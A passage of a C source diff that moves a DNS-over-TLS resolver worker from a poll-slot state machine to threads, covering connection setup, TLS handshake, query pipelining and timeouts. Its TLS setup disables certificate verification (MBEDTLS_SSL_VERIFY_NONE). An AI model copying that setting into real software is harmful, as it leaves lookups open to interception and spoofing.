false; - } - case RESOLV_CTX_STATE_CONN: { - int optval; - socklen_t optval_len; - - for (i = 0; i < 2; i += 1) { - assert(ctx->sck_pfd_slot[i]->pfd.fd == ctx->dnss_fd[i]); - if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLHUP | POLLERR | POLLNVAL)) { - prne_close(ctx->dnss_fd[i]); - ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1; + memzero(&addr, sizeof(addr)); + prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->ptr_dnssrv6, &addr); + if (connect(pfs[1].fd, (const struct sockaddr*)&addr, sizeof(addr)) < 0 && errno != EINPROGRESS) { + prne_close(pfs[1].fd); + pfs[1].fd = -1; } } - if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) { - ctx->err_to_slot->active = true; - ctx->err_to_slot->dur = RESOLV_CONN_ERR_PAUSE; - ctx->sckop_to_slot->active = false; - ctx->ctx_state = RESOLV_CTX_STATE_NONE; - - return false; - } + } - for (i = 0; i < 2; i += 1) { - if (ctx->sck_pfd_slot[i]->pfd.fd < 0) { - continue; - } + /* + * Assume that socket creation failed because there's no resource. + * There could be other reasons like no socket() syscall in kernel + * or no IPv4 support. + */ + if (pfs[0].fd < 0 && pfs[1].fd < 0) { + err_sleep = &RESOLV_RSRC_ERR_PAUSE; + goto END; + } - if (ctx->sck_pfd_slot[i]->pfd.revents & (POLLIN | POLLOUT)) { - optval_len = sizeof(optval); - if (getsockopt(ctx->sck_pfd_slot[i]->pfd.fd, SOL_SOCKET, SO_ERROR, &optval, &optval_len) < 0 || optval != 0) { - prne_close(ctx->dnss_fd[i]); - ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1; + err_sleep = &RESOLV_CONN_ERR_PAUSE; + while (pfs[0].fd >= 0 || pfs[1].fd >= 0) { + pollret = prne_unint_pth_poll(pfs, 2, &RESOLV_SCK_OP_TIMEOUT); + if (pollret > 0) { + for (i = 0; i < 2; i += 1) { + if (pfs[i].revents & (POLLHUP | POLLERR | POLLNVAL)) { + prne_close(pfs[i].fd); + pfs[i].fd = -1; } - else { - ctx->act_dns_fd = ctx->dnss_fd[i]; - ctx->dnss_fd[i] = -1; - break; + else if (pfs[i].revents & POLLOUT) { + if (getsockopt(pfs[i].fd, SOL_SOCKET, SO_ERROR, &optval, &optval_len) < 0 || optval != 0) { + prne_close(pfs[i].fd); + pfs[i].fd = -1; + } + else { + if (mbedtls_ssl_setup(&ctx->ssl.ctx, &ctx->ssl.conf) != 0 || mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0) { + err_sleep = &RESOLV_RSRC_ERR_PAUSE; + goto END; + } + ctx->act_sck_pfd.fd = pfs[i].fd; + pfs[i].fd = -1; + + mbedtls_ssl_set_bio(&ctx->ssl.ctx, &ctx->act_sck_pfd.fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL); + ret = true; + break; + } } } } - - if (ctx->act_dns_fd >= 0) { - for (i = 0; i < 2; i += 1) { - prne_close(ctx->dnss_fd[i]); - ctx->dnss_fd[i] = ctx->sck_pfd_slot[i]->pfd.fd = -1; - } - - if (mbedtls_ssl_setup(&ctx->ssl.ctx, &ctx->ssl.conf) != 0 || mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0) { - resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, false); - return false; - } - mbedtls_ssl_set_bio(&ctx->ssl.ctx, &ctx->act_dns_fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL); - - ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd; - ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; - ctx->sckop_to_slot->active = true; - ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT; - ctx->ctx_state = RESOLV_CTX_STATE_HNDSHK; + else if (pollret < 0) { + err_sleep = &RESOLV_RSRC_ERR_PAUSE; + break; } - else if (ctx->dnss_fd[0] < 0 && ctx->dnss_fd[1] < 0) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + else { + err_sleep = NULL; + break; } + } - return false; - } - case RESOLV_CTX_STATE_HNDSHK: { - assert(ctx->sck_pfd_slot[0]->pfd.fd == ctx->act_dns_fd && ctx->act_dns_fd >= 0); +END: + prne_close(pfs[0].fd); + prne_close(pfs[1].fd); + if (!ret && err_sleep != NULL) { + prne_unint_pth_nanosleep(*err_sleep); + } + return ret; +} - if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); +static bool resolv_tls_handshake (prne_resolv_t *ctx) { + int pollret; + bool ret = false; + const struct timespec *err_sleep = NULL; - return false; + while (true) { + switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) { + case MBEDTLS_ERR_SSL_WANT_READ: + ctx->act_sck_pfd.events = POLLIN; + break; + case MBEDTLS_ERR_SSL_WANT_WRITE: + ctx->act_sck_pfd.events = POLLOUT; + break; + case 0: + ret = true; + goto END; + default: + err_sleep = &RESOLV_CONN_ERR_PAUSE; + goto END; } - if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLIN | POLLOUT)) { - switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) { - case MBEDTLS_ERR_SSL_WANT_READ: - ctx->sck_pfd_slot[0]->pfd.events = POLLIN; - break; - case MBEDTLS_ERR_SSL_WANT_WRITE: - ctx->sck_pfd_slot[0]->pfd.events = POLLOUT; - break; - case 0: - ctx->sck_pfd_slot[0]->pfd.events = POLLIN; - ctx->sckop_to_slot->active = true; - ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT; - ctx->ctx_state = RESOLV_CTX_STATE_READY; - - return true; - default: - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return false; - } + pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_OP_TIMEOUT); + if (pollret < 0) { + err_sleep = &RESOLV_RSRC_ERR_PAUSE; + goto END; + } + else if (pollret == 0) { + goto END; } + else if (ctx->act_sck_pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) { + err_sleep = &RESOLV_CONN_ERR_PAUSE; + goto END; + } + } + +END: + if (!ret) { + resolv_close_sck(ctx, err_sleep, true); + } + return ret; +} +static bool resolv_ensure_conn (prne_resolv_t *ctx) { + if (ctx->act_sck_pfd.fd < 0) { + if (!(resolv_ensure_act_dns_fd(ctx) && + resolv_tls_handshake(ctx))) return false; - } - case RESOLV_CTX_STATE_READY: - return true; } -#ifdef PRNE_DEBUG - abort(); -#endif - return false; + return true; } static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *start, const uint8_t *end, const uint8_t *p, prne_resolv_qr_t *qr, int *err) { @@ -639,7 +603,7 @@ static int resolv_mapped_qname_cmp (prne_imap_t *map, const uint8_t *a, const ui return ret; } -static bool resolv_proc_dns_msg (prne_resolv_wkr_ctx_t ctx, const uint8_t *data, const size_t len, bool *err_flag) { +static bool resolv_proc_dns_msg (prne_resolv_t *ctx, const uint8_t *data, const size_t len, bool *err_flag) { typedef struct { const uint8_t *name; const uint8_t *data; @@ -983,7 +947,7 @@ static void resolv_write_dns_msg (query_entry_t *qent, uint8_t *mem) { mem[qent->qname_size + 15] = 0x01; } -static bool resolv_send_dns_msgs (prne_resolv_wkr_ctx_t ctx) { +static bool resolv_send_dns_msgs (prne_resolv_t *ctx) { prne_llist_entry_t *cur; query_entry_t *qent; size_t dot_msg_len, dns_msg_len; @@ -1035,156 +999,182 @@ static bool resolv_send_dns_msgs (prne_resolv_wkr_ctx_t ctx) { return ret; } -static void resolv_proc_q (prne_resolv_wkr_ctx_t ctx) { - bool proc = false; // true if any meaningful message has been processed. - int ret; +static void resolv_proc_expired (prne_resolv_t *ctx) { + const struct timespec now = prne_gettime(CLOCK_MONOTONIC); + prne_llist_entry_t *cur; + query_entry_t *qent; - if (ctx->ctx_state == RESOLV_CTX_STATE_READY) { - assert(ctx->act_dns_fd >= 0); - assert(ctx->act_dns_fd == ctx->sck_pfd_slot[0]->pfd.fd); + cur = ctx->qlist.head; + while (cur != NULL) { + qent = (query_entry_t*)cur->element; - if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; + if (prne_cmp_timespec(RESOLV_QUERY_TIMEOUT, prne_sub_timespec(now, qent->tp_queued)) < 0) { + qent->fut.qr = PRNE_RESOLV_QR_TIMEOUT; + cur = prne_llist_erase(&ctx->qlist, cur); + resolv_disown_qent(qent); + } + else { + cur = cur->next; + } + } +} + +static void resolv_proc_q (prne_resolv_t *ctx) { + int pollret, ret; + short pfd_events; + bool proc; + /* + * The server could be sending gibberish response messages that look legit. + * Timeout the loop when we don't receive response we recognise in time. + */ + struct timespec last_proc, now, delta, op_rem; + +LOOP: + last_proc = prne_gettime(CLOCK_MONOTONIC); + proc = false; + while (ctx->qlist.size > 0 || ctx->qid_map.size > 0) { + resolv_proc_expired(ctx); + + if (ctx->write_cnt_len > 0 || ctx->qid_map.size < RESOLV_PIPELINE_SIZE) { + pfd_events = POLLIN | POLLOUT; + } + else { + pfd_events = POLLIN; } - if (ctx->sck_pfd_slot[0]->pfd.revents & POLLIN) { - size_t pos, msg_len; - bool err_flag = false; + + if (!resolv_ensure_conn(ctx)) { + goto LOOP; + } + + now = prne_gettime(CLOCK_MONOTONIC); + if (proc) { + last_proc = now; + } + proc = false; + delta = prne_sub_timespec(now, last_proc); + if (prne_cmp_timespec(delta, RESOLV_SCK_OP_TIMEOUT) >= 0) { + resolv_close_sck(ctx, NULL, true); + goto LOOP; + } + + op_rem = prne_sub_timespec(RESOLV_SCK_OP_TIMEOUT, delta); + ctx->act_sck_pfd.events = pfd_events; + pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &op_rem); - ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len); - if (ret <= 0) { - // we don't renegotiate with terrorists. + if (pollret > 0) { + if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; + goto LOOP; } - ctx->read_cnt_len += (size_t)ret; + if (ctx->act_sck_pfd.revents & POLLIN) { + size_t pos, msg_len; + bool err_flag = false; - pos = 0; - while (true) { - if (pos + 1 >= ctx->read_cnt_len) { - break; + ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len); + if (ret <= 0) { + // we don't renegotiate with terrorists. + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + goto LOOP; } - msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1]; - if (msg_len > 512) { // unimplemented. -#ifdef PRNE_DEBUG - fprintf(stderr, "* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len); -#endif - // try to get qid - if (ctx->read_cnt_len > pos + 4) { - const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3]; - const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid); - - if (tpl->val != NULL) { - query_entry_t *qent = (query_entry_t*)tpl->val; - qent->fut.qr = PRNE_RESOLV_QR_IMPL; - resolv_disown_qent(qent); + ctx->read_cnt_len += (size_t)ret; + + pos = 0; + while (true) { + if (pos + 1 >= ctx->read_cnt_len) { + break; + } + msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1]; + if (msg_len > 512) { // unimplemented. + prne_dbgpf("* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len); + // try to get qid + if (ctx->read_cnt_len > pos + 4) { + const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3]; + const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid); + + if (tpl->val != NULL) { + query_entry_t *qent = (query_entry_t*)tpl->val; + qent->fut.qr = PRNE_RESOLV_QR_IMPL; + resolv_disown_qent(qent); + } + prne_imap_erase(&ctx->qid_map, qid); } - prne_imap_erase(&ctx->qid_map, qid); + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + goto LOOP; } - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; + if (pos + 1 + msg_len >= ctx->read_cnt_len) { + break; + } + + proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag); + if (err_flag) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + goto LOOP; + } + pos += 2 + msg_len; } - if (pos + 1 + msg_len >= ctx->read_cnt_len) { - break; + if (pos > 0) { + memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos); + ctx->read_cnt_len -= pos; } + } - proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag); - if (err_flag) { + if ((ctx->act_sck_pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) { + ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len); + if (ret <= 0) { + // we don't renegotiate with terrorists. resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; + goto LOOP; } - pos += 2 + msg_len; - } - if (pos > 0) { - memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos); - ctx->read_cnt_len -= pos; - } - } - } - if (ctx->qlist.size > 0 || ctx->write_cnt_len > 0) { - if (!resolv_ensure_conn(ctx)) { - return; - } - - if ((ctx->sck_pfd_slot[0]->pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) { - ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len); - if (ret <= 0) { - // we don't renegotiate with terrorists. - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; + memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret); + ctx->write_cnt_len -= (size_t)ret; + } + if (ctx->write_cnt_len == 0) { + proc |= resolv_send_dns_msgs(ctx); } - - memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret); - ctx->write_cnt_len -= (size_t)ret; - } - if (ctx->write_cnt_len == 0) { - proc |= resolv_send_dns_msgs(ctx); - } - - if (ctx->write_cnt_len > 0 || (0 < ctx->qlist.size && ctx->qid_map.size < RESOLV_PIPELINE_SIZE)) { - ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; - } - else { - ctx->sck_pfd_slot[0]->pfd.events = POLLIN; } - } - - if (proc) { - if (ctx->qlist.size == 0 && ctx->qid_map.size == 0 && - ctx->read_cnt_len == 0 && ctx->write_cnt_len == 0) { - ctx->sckop_to_slot->dur = RESOLV_SCK_IDLE_TIMEOUT; + else if (pollret == 0) { + resolv_close_sck(ctx, NULL, true); } else { - ctx->sckop_to_slot->dur = RESOLV_SCK_OP_TIMEOUT; + resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, true); } } } -static bool resolv_proc_close (prne_resolv_wkr_ctx_t ctx) { - assert(ctx->ctx_state == RESOLV_CTX_STATE_CLOSING); - - if (ctx->sck_pfd_slot[0]->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return false; - } - if (ctx->sck_pfd_slot[0]->pfd.revents) { +static void resolv_proc_close (prne_resolv_t *ctx) { + int pollret; + + do { switch (mbedtls_ssl_close_notify(&ctx->ssl.ctx)) { case MBEDTLS_ERR_SSL_WANT_READ: - ctx->sck_pfd_slot[0]->pfd.events = POLLIN; - return false; + ctx->act_sck_pfd.events = POLLIN; + break; case MBEDTLS_ERR_SSL_WANT_WRITE: - ctx->sck_pfd_slot[0]->pfd.events = POLLOUT; - return false; + ctx->act_sck_pfd.events = POLLOUT; + break; case 0: resolv_close_sck(ctx, NULL, false); - return true; + return; default: resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return false; + return; } - } - return false; -} - -static void resolv_proc_expired (prne_resolv_wkr_ctx_t ctx) { - prne_llist_entry_t *cur; - query_entry_t *qent; - - cur = ctx->qlist.head; - while (cur != NULL) { - qent = (query_entry_t*)cur->element; - - if (qent->to_slot != NULL && qent->to_slot->reached) { - qent->fut.qr = PRNE_RESOLV_QR_TIMEOUT; - cur = prne_llist_erase(&ctx->qlist, cur); - resolv_disown_qent(qent); + pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_CLOSE_TIMEOUT); + if (pollret < 0) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; } - else { - cur = cur->next; + else if (pollret == 0) { + resolv_close_sck(ctx, NULL, true); + return; } - } + else if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { + resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); + return; + } + } while (true); } static void resolv_wkr_free (void *p) { @@ -1194,219 +1184,126 @@ static void resolv_wkr_free (void *p) { return; } - prne_free_wkr_timeout_slot(ctx->sckop_to_slot); - prne_free_wkr_timeout_slot(ctx->err_to_slot); - prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot); - prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]); - prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]); - prne_free(ctx->dnssrv_4.arr); - prne_free(ctx->dnssrv_6.arr); + if (ctx->dnssrv_4.ownership) { + prne_free(ctx->dnssrv_4.arr); + } + if (ctx->dnssrv_6.ownership) { + prne_free(ctx->dnssrv_6.arr); + } prne_free_llist(&ctx->qlist); prne_free_imap(&ctx->qid_map); mbedtls_ssl_config_free(&ctx->ssl.conf); mbedtls_ssl_free(&ctx->ssl.ctx); - prne_close(ctx->act_dns_fd); - prne_close(ctx->dnss_fd[0]); - prne_close(ctx->dnss_fd[1]); - prne_close(ctx->evtfd[0]); - prne_close(ctx->evtfd[1]); - + prne_close(ctx->act_sck_pfd.fd); prne_free(ctx); } static void resolv_wkr_fin (void *p) { DECL_CTX_PTR(p); - - assert(ctx->wkr_state == RESOLV_WKR_STATE_OK); - ctx->wkr_state = RESOLV_WKR_STATE_FIN_CALLED; + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + ctx->ctx_state = RESOLV_CTX_STATE_FIN_CALLED; + pth_cond_notify(&ctx->cond, FALSE); + prne_assert(pth_mutex_release(&ctx->lock)); } -static void resolv_wkr_work (void *p, const prne_wkr_tick_info_t *tick_info) { +static void *resolv_wkr_entry (void *p) { DECL_CTX_PTR(p); + bool sck_close; - assert(ctx->wkr_state != RESOLV_WKR_STATE_FINALISED); - assert((ctx->evt_pfd_slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0); + while (ctx->ctx_state == RESOLV_CTX_STATE_OK) { + sck_close = false; - if (ctx->evt_pfd_slot->pfd.revents & POLLIN) { - uint8_t rubbish; + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + if (ctx->qlist.size == 0) { + pth_event_t ev; - if (read(ctx->evtfd[0], &rubbish, 1) < 0) { - prne_die_not_nonblock_err(); - } - } - - resolv_proc_expired(ctx); + if (ctx->act_sck_pfd.fd >= 0) { + ev = pth_event(PTH_EVENT_TIME, pth_timeout(RESOLV_SCK_IDLE_TIMEOUT.tv_sec, 0)); + } + else { + ev = NULL; + } - if (ctx->err_to_slot->active) { - if (ctx->err_to_slot->reached) { - ctx->err_to_slot->active = false; - } - else { - return; - } - } + pth_cond_await(&ctx->cond, &ctx->lock, ev); - if (ctx->sckop_to_slot->active && ctx->sckop_to_slot->reached) { - if (ctx->ctx_state == RESOLV_CTX_STATE_READY) { - ctx->ctx_state = RESOLV_CTX_STATE_CLOSING; - ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT; - ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd; - ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; - return; + if (ev != NULL) { + sck_close = pth_event_occurred(ev) != 0; + pth_event_free(ev, PTH_FREE_ALL); + } } - else { - resolv_close_sck(ctx, NULL, true); + prne_assert(pth_mutex_release(&ctx->lock)); + + if (sck_close) { + resolv_proc_close(ctx); } - } - if (ctx->ctx_state == RESOLV_CTX_STATE_CLOSING && !resolv_proc_close(ctx)) { - return; + resolv_proc_q(ctx); } - resolv_proc_q(ctx); - if (ctx->wkr_state == RESOLV_WKR_STATE_FIN_CALLED && ctx->qid_map.size == 0 && ctx->qlist.size == 0) { - if (ctx->ctx_state == RESOLV_CTX_STATE_READY) { - ctx->ctx_state = RESOLV_CTX_STATE_CLOSING; - ctx->sckop_to_slot->dur = RESOLV_SCK_CLOSE_TIMEOUT; - ctx->sck_pfd_slot[0]->pfd.fd = ctx->act_dns_fd; - ctx->sck_pfd_slot[0]->pfd.events = POLLIN | POLLOUT; - } - else { - ctx->wkr_state = RESOLV_WKR_STATE_FINALISED; - resolv_close_sck(ctx, NULL, false); - ctx->evt_pfd_slot->pfd.fd = -1; - ctx->err_to_slot->active = false; - } + if (ctx->act_sck_pfd.fd >= 0) { + resolv_proc_close(ctx); } + + ctx->ctx_state = RESOLV_CTX_STATE_FINALISED; + return NULL; } -prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg) { - prne_resolv_wkr_ctx_t ctx = NULL; +prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg) { + prne_resolv_t *ctx = NULL; - if (wsr == NULL || ctr_drbg == NULL) { + if (wkr == NULL || ctr_drbg == NULL) { errno = EINVAL; return NULL; } - ctx = (prne_resolv_wkr_ctx_t)prne_malloc(sizeof(struct prne_resolv_wkr_ctx), 1); + ctx = (prne_resolv_t*)prne_malloc(sizeof(prne_resolv_t), 1); if (ctx == NULL) { return NULL; } - ctx->dnss_fd[0] = ctx->dnss_fd[1] = -1; - ctx->evtfd[0] = ctx->evtfd[1] = -1; ctx->read_cnt_len = 0; ctx->write_cnt_len = 0; - ctx->wsr = wsr; - ctx->sckop_to_slot = prne_alloc_wkr_timeout_slot(wsr); - ctx->err_to_slot = prne_alloc_wkr_timeout_slot(wsr); - ctx->evt_pfd_slot = prne_alloc_wkr_pollfd_slot(wsr); - ctx->sck_pfd_slot[0] = prne_alloc_wkr_pollfd_slot(wsr); - ctx->sck_pfd_slot[1] = prne_alloc_wkr_pollfd_slot(wsr); - ctx->act_dns_fd = -1; - ctx->ctx_state = RESOLV_CTX_STATE_NONE; - ctx->wkr_state = RESOLV_WKR_STATE_OK; + ctx->act_sck_pfd.fd = -1; + ctx->ctx_state = RESOLV_CTX_STATE_OK; ctx->ssl.ctr_drbg = ctr_drbg; prne_init_llist(&ctx->qlist); prne_init_imap(&ctx->qid_map); mbedtls_ssl_config_init(&ctx->ssl.conf); mbedtls_ssl_init(&ctx->ssl.ctx); - if (ctx->sckop_to_slot == NULL || - ctx->err_to_slot == NULL || - ctx->evt_pfd_slot == NULL || - ctx->sck_pfd_slot[0] == NULL || - ctx->sck_pfd_slot[1] == NULL) { - goto ERR; - } - - ctx->dnssrv_4.arr = NULL; - ctx->dnssrv_6.arr = NULL; - ctx->dnssrv_4.cnt = 8; - ctx->dnssrv_6.cnt = 8; - ctx->dnssrv_4.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); - ctx->dnssrv_6.ptr = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); - ctx->dnssrv_4.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_4.cnt); - ctx->dnssrv_6.arr = prne_malloc(sizeof(prne_net_endpoint_t), ctx->dnssrv_6.cnt); - if (ctx->dnssrv_4.arr == NULL || ctx->dnssrv_6.arr == NULL) { - goto ERR; - } - // IPv4 servers - // Google - prne_true_or_die(prne_net_ep_set_ipv4("8.8.8.8", 853, ctx->dnssrv_4.arr + 0)); - prne_true_or_die(prne_net_ep_set_ipv4("8.8.4.4", 853, ctx->dnssrv_4.arr + 1)); - // Cloudflare - prne_true_or_die(prne_net_ep_set_ipv4("1.1.1.1", 853, ctx->dnssrv_4.arr + 2)); - prne_true_or_die(prne_net_ep_set_ipv4("1.0.0.1", 853, ctx->dnssrv_4.arr + 3)); - // Quad9 - prne_true_or_die(prne_net_ep_set_ipv4("9.9.9.10", 853, ctx->dnssrv_4.arr + 4)); - prne_true_or_die(prne_net_ep_set_ipv4("149.112.112.10", 853, ctx->dnssrv_4.arr + 5)); - // CleanBrowsing - prne_true_or_die(prne_net_ep_set_ipv4("185.228.168.9", 853, ctx->dnssrv_4.arr + 6)); - prne_true_or_die(prne_net_ep_set_ipv4("185.228.169.9", 853, ctx->dnssrv_4.arr + 7)); - // IPv6 servers - // Google - prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8888", 853, ctx->dnssrv_6.arr + 0)); - prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8844", 853, ctx->dnssrv_6.arr + 1)); - // Cloudflare - prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1111", 853, ctx->dnssrv_6.arr + 2)); - prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1001", 853, ctx->dnssrv_6.arr + 3)); - // Quad9 - prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::fe", 853, ctx->dnssrv_6.arr + 4)); - prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::9", 853, ctx->dnssrv_6.arr + 5)); - // CleanBrowsing - prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:1::2", 853, ctx->dnssrv_6.arr + 6)); - prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:2::2", 853, ctx->dnssrv_6.arr + 7)); - - OK_OR_ERR(pipe(ctx->evtfd)); - OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[0])); - OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[1])); - prne_set_pipe_size(ctx->evtfd[0], 1); - ctx->evt_pfd_slot->pfd.fd = ctx->evtfd[0]; - ctx->evt_pfd_slot->pfd.events = POLLIN; + pth_mutex_init(&ctx->lock); + pth_cond_init(&ctx->cond); + ctx->dnssrv_4 = RESOLV_DEF_IPV4_POOL; + ctx->dnssrv_6 = RESOLV_DEF_IPV6_POOL; + ctx->ptr_dnssrv4 = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); + ctx->ptr_dnssrv6 = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); if (mbedtls_ssl_config_defaults(&ctx->ssl.conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) != 0) { goto ERR; } mbedtls_ssl_conf_rng(&ctx->ssl.conf, mbedtls_ctr_drbg_random, ctx->ssl.ctr_drbg); mbedtls_ssl_conf_authmode(&ctx->ssl.conf, MBEDTLS_SSL_VERIFY_NONE); - w->ctx = ctx; - w->free = resolv_wkr_free; - w->fin = resolv_wkr_fin; - w->work = resolv_wkr_work; - w->has_finalised = resolv_wkr_has_finalised; + wkr->ctx = ctx; + wkr->free_ctx = resolv_wkr_free; + wkr->fin = resolv_wkr_fin; + wkr->entry = resolv_wkr_entry; return ctx; ERR: if (ctx != NULL) { - prne_free_wkr_timeout_slot(ctx->sckop_to_slot); - prne_free_wkr_timeout_slot(ctx->err_to_slot); - prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot); - prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]); - prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]); - prne_free(ctx->dnssrv_4.arr); - prne_free(ctx->dnssrv_6.arr); prne_free_llist(&ctx->qlist); prne_free_imap(&ctx->qid_map); mbedtls_ssl_config_free(&ctx->ssl.conf); mbedtls_ssl_free(&ctx->ssl.ctx); - prne_close(ctx->evtfd[0]); - prne_close(ctx->evtfd[1]); - prne_free(ctx); } return NULL; } -bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout) { +bool prne_resolv_prm_gethostbyname (prne_resolv_t *wkr, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out) { bool ret; query_entry_t *q_ent; prne_resolv_query_type_t qt; - - if (wkr->wkr_state != RESOLV_WKR_STATE_OK) { - errno = EPIPE; - return false; - } switch (ipv) { case PRNE_IPV_4: qt = PRNE_RESOLV_QT_A; break; @@ -1416,7 +1313,7 @@ bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, return false; } - ret = resolv_qq(wkr, name, out, timeout, &q_ent); + ret = resolv_qq(wkr, name, cv, out, &q_ent); if (ret) { q_ent->ipv = ipv; q_ent->type = qt; @@ -1425,16 +1322,11 @@ bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, return ret; } -bool prne_resolv_prm_gettxtrec 